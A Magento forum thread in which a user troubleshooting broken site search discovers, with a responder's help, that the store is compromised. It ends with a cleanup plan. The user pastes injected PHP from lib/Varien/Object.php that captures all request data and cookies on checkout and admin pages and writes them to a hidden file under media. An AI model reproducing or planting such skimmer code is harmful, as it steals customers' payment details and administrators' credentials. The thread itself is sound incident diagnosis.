I have been tasked with investigating a problem on a Magento install which is preventing the site's main search from functioning.
I have traced this back to the following entry in ./var/log/exception.log:
exception 'Zend_Db_Select_Exception' with message 'Unrecognized method 'groupBy()'' in /var/www/html/lib/Zend/Db/Select.php:1332 Stack trace: #0 /var/www/html/app/code/local/Wyomind/Advancedinventory/Block/Adminhtml/Notifications.php(24): Zend_Db_Select->__call('groupBy', Array) #1 /var/www/html/app/code/local/Wyomind/Advancedinventory/Block/Adminhtml/Notifications.php(24): Varien_Db_Select->groupBy() #2 /var/www/html/app/code/core/Mage/Core/Model/Layout.php(491): Wyomind_Advancedinventory_Block_Adminhtml_Notifications->__construct(Array) #3 /var/www/html/app/code/core/Mage/Core/Model/Layout.php(437): Mage_Core_Model_Layout->_getBlockInstance('advancedinvento...', Array) #4 /var/www/html/app/code/core/Mage/Core/Model/Layout.php(472): Mage_Core_Model_Layout->createBlock('advancedinvento...', 'notification_ad...') #5 /var/www/html/app/code/core/Mage/Core/Model/Layout.php(239): Mage_Core_Model_Layout->addBlock('advancedinvento...', 'notification_ad...') #6 /var/www/html/app/code/core/Mage/Core/Model/Layout.php(205): Mage_Core_Model_Layout->_generateBlock(Object(Mage_Core_Model_Layout_Element), Object(Mage_Core_Model_Layout_Element)) #7 /var/www/html/app/code/core/Mage/Core/Model/Layout.php(210): Mage_Core_Model_Layout->generateBlocks(Object(Mage_Core_Model_Layout_Element)) #8 /var/www/html/app/code/core/Mage/Core/Controller/Varien/Action.php(344): Mage_Core_Model_Layout->generateBlocks() #9 /var/www/html/app/code/core/Mage/Core/Controller/Varien/Action.php(269): Mage_Core_Controller_Varien_Action->generateLayoutBlocks() #10 /var/www/html/app/code/core/Mage/Adminhtml/Controller/Action.php(275): Mage_Core_Controller_Varien_Action->loadLayout(NULL, true, true) #11 /var/www/html/app/code/core/Mage/Adminhtml/controllers/IndexController.php(81): Mage_Adminhtml_Controller_Action->loadLayout() #12 /var/www/html/app/code/core/Mage/Core/Controller/Varien/Action.php(419): Mage_Adminhtml_IndexController->loginAction() #13 /var/www/html/app/code/core/Mage/Core/Controller/Varien/Router/Standard.php(254): Mage_Core_Controller_Varien_Action->dispatch('login') #14 /var/www/html/app/code/core/Mage/Core/Controller/Varien/Front.php(176): Mage_Core_Controller_Varien_Router_Standard->match(Object(Mage_Core_Controller_Request_Http)) #15 /var/www/html/app/code/core/Mage/Core/Model/App.php(354): Mage_Core_Controller_Varien_Front->dispatch() #16 /var/www/html/app/Mage.php(683): Mage_Core_Model_App->run(Array) #17 /var/www/html/index.php(88): Mage::run('base', 'website') #18 {main}
Initially, I thought that was due to an incompatible version of PHP. However, I am now back to using 5.6 and the problem still occurs.
Does this ring a bell with anyone?
I am not that experienced with Magento so ability to further investigate is somewhat limited.
Solved! Go to Solution.
It's infected, and no one knew how many files are affected. Also, the database could be affected, too. There is no such tool, and if you want to be 100% sure that you're clean, you have to be really experienced with it.
In general, cleaning plan should consist of:
- Downloading fresh Magento from official website
- Moving theme files one by one, with manual inspection to check if they are infected
- Moving 3rd party modules one by one, but it's better if you have original zip packages of those modules so that you can install them from scratch
- Analyzing database in order to check if there is a backdoor somewhere, like cms_page, cms_block and all other tables where malicious data can be injected.
Unfortunately, that exception has nothing with your issue with search.
Since you haven't described what is the nature of the issue, I can just ask you if you've reindexed your catalogsearch?
Thanks for your help. The problem is that a search query just reloads the home page.
I looked into the reindexing, I hadn't come across that before. I reindexed everything which gave the following output:
root@shop:/var/www/html/shell# php indexer.php --reindexall PHP Notice: Undefined index: REQUEST_URI in /var/www/html/lib/Varien/Object.php on line 1 PHP Notice: Undefined index: REQUEST_URI in /var/www/html/lib/Varien/Object.php on line 2 PHP Notice: Undefined index: REQUEST_URI in /var/www/html/lib/Varien/Object.php on line 3 PHP Notice: Undefined index: REQUEST_URI in /var/www/html/lib/Varien/Object.php on line 4 PHP Notice: Undefined index: REQUEST_URI in /var/www/html/lib/Varien/Object.php on line 5 PHP Notice: Undefined index: REQUEST_URI in /var/www/html/lib/Varien/Object.php on line 6 Product Attributes index was rebuilt successfully Product Prices index was rebuilt successfully Catalog URL Rewrites index was rebuilt successfully Product Flat Data index was rebuilt successfully Category Flat Data index was rebuilt successfully Category Products index was rebuilt successfully Catalog Search Index index was rebuilt successfully Stock Status index was rebuilt successfully Tag Aggregation Data index was rebuilt successfully
When looking into the search, I keep finding references to this "Varien" library.
Another thought that crossed my mind is that the server uses nginx, which may not be in a compatible configuration. Could that be related?
Nginx is compatible with Magento. Those error messages like:
PHP Notice: Undefined index: REQUEST_URI in /var/www/html/lib/Varien/Object.php on line 1
They are very strange. Can you past content of first ~100 lines of lib/Varien/Object.php? I suspect that you're having a backdoor in it, that someone hacked you.
If that's true, you better hire an expert to clean up that for you, otherwise it's not good for you, your store and your customers.
Good spotting! It does look like there's something funny in there:
root@shop:/var/www/html/lib/Varien# cat Object.php <?php if(preg_match("/checkout|admin/", $_SERVER["REQUEST_URI"])){@file_put_contents(realpath("./")."/media/cache_878bab757b3034a6f3028a46fe9b160b", @base64_encode(serialize($_REQUEST)."--".serialize($_COOKIE)). ":", FILE_APPEND); }?> <?php if(preg_match("/checkout|admin/", $_SERVER["REQUEST_URI"])){@file_put_contents(realpath("./")."/media/cache_878bab757b3034a6f3028a46fe9b160b", @base64_encode(serialize($_REQUEST)."--".serialize($_COOKIE)). ":", FILE_APPEND); }?> <?php if(preg_match("/checkout|admin/", $_SERVER["REQUEST_URI"])){@file_put_contents(realpath("./")."/media/cache_878bab757b3034a6f3028a46fe9b160b", @base64_encode(serialize($_REQUEST)."--".serialize($_COOKIE)). ":", FILE_APPEND); }?> <?php if(preg_match("/checkout|admin/", $_SERVER["REQUEST_URI"])){@file_put_contents(realpath("./")."/media/cache_878bab757b3034a6f3028a46fe9b160b", @base64_encode(serialize($_REQUEST)."--".serialize($_COOKIE)). ":", FILE_APPEND); }?> <?php if(preg_match("/checkout|admin/", $_SERVER["REQUEST_URI"])){@file_put_contents(realpath("./")."/media/cache_878bab757b3034a6f3028a46fe9b160b", @base64_encode(serialize($_REQUEST)."--".serialize($_COOKIE)). ":", FILE_APPEND); }?> <?php if(preg_match("/checkout|admin/", $_SERVER["REQUEST_URI"])){@file_put_contents(realpath("./")."/media/cache_555e84b7ec1dc017d596c64daf0baf06", @base64_encode(serialize($_REQUEST)."--".serialize($_COOKIE)). ":", FILE_APPEND); }?> <?php /** * Magento * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.txt.
Do you think this could be causing all of the problems? I imagine a lot of files must be infected. Are there tools for Magento that help clean files up? Or is there no way around doing it manually? Or would it be best to recreate the filesystem from scratch?
It's infected, and no one knew how many files are affected. Also, the database could be affected, too. There is no such tool, and if you want to be 100% sure that you're clean, you have to be really experienced with it.
In general, cleaning plan should consist of:
- Downloading fresh Magento from official website
- Moving theme files one by one, with manual inspection to check if they are infected
- Moving 3rd party modules one by one, but it's better if you have original zip packages of those modules so that you can install them from scratch
- Analyzing database in order to check if there is a backdoor somewhere, like cms_page, cms_block and all other tables where malicious data can be injected.
I will get the ball rolling on that process.
Thank you so much for your assistance.